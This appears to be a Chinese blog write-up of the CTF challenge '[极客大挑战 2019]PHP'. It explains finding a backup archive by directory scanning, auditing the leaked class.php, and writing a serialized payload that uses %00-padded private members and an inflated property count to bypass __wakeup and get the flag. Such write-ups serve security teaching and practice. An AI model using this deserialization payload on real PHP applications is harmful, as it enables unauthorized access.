当前位置: 首页 > news >正文

[极客大挑战 2019]PHP--详细解析

信息搜集

在这里插入图片描述
想查看页面源代码,但是右键没有这个选项。
我们可以ctrl+u或者在url前面加view-source:查看:
在这里插入图片描述没什么有用信息。根据页面的hint,我们考虑扫一下目录看看能不能扫出一些文件.
扫到了备份文件www.zip,解压一下查看网站源代码。

在这里插入图片描述

代码审计:

index.php文件下:
在这里插入图片描述
class.php文件:

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

考察的是PHP反序列化漏洞.

反序列化

我们最终的目的是要获得flag,根据class.php文件,我们需要对象的成员变量 username='admin',password=100

所以序列化后的形式:

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}因为成员变量是用private修饰的私有变量,所有要在变量中类名的前后添加%00,也就是/0

但是反序列化时会自动调用__wakeup方法,修改我们的username的值。
绕过__wakeup():在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup()

所有序列化修改为:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}"Name":2 修改成 "Name":3

在这里插入图片描述
得到flag.

http://www.lryc.cn/news/494820.html

相关文章:

  • map用于leetcode
  • CommonJS 和 ES Modules 的 区别
  • 科技为翼 助残向新 高德地图无障碍导航规划突破1.5亿次
  • Flink四大基石之Time (时间语义) 的使用详解
  • Spring WebFlux与Spring MVC
  • 【深度学习基础】一篇入门模型评估指标(分类篇)
  • D80【 python 接口自动化学习】- python基础之HTTP
  • ⽂件操作详解
  • 双高(高比例新能源发电和高比例电力电子设备)系统宽频振荡研究现状
  • TorchMoji使用教程/环境配置(2024)
  • 使用 Python 中的 TripoSR 根据图像创建 3D 对象
  • Spring 框架中AOP(面向切面编程)和 IoC(控制反转)
  • 电机瞬态分析基础(7):坐标变换(3)αβ0变换,dq0变换
  • Open3D (C++) 生成任意3D椭圆点云
  • 5.利用Pandas以及Numpy进行数据清洗
  • @Bean注解详细介绍以及应用
  • 基于SpringBoot的预制菜销售系统
  • 从 EXCEL 小白到 EXCEL 高手的成长之路
  • 【纸飞机串口调试工具】数值显示器及四则运算
  • 浅谈volatile
  • Python3 爬虫 Scrapy的使用
  • 多线程篇-4--重点概念1(volatile,Synchronized,内存屏障,MESI协议)
  • 本地学习axios源码-如何在本地打印axios里面的信息
  • 1、SpringBoo中Mybatis多数据源动态切换
  • 【浏览器】缓存与存储
  • 积鼎科技携手西北工业大学动力与能源学院共建复杂多相流仿真联合实验室
  • 5. langgraph实现高级RAG (Adaptive RAG)
  • Postman设置接口关联,实现参数化
  • 代码随想录day02--链表
  • 杰发科技AC7803——不同晶振频率时钟的配置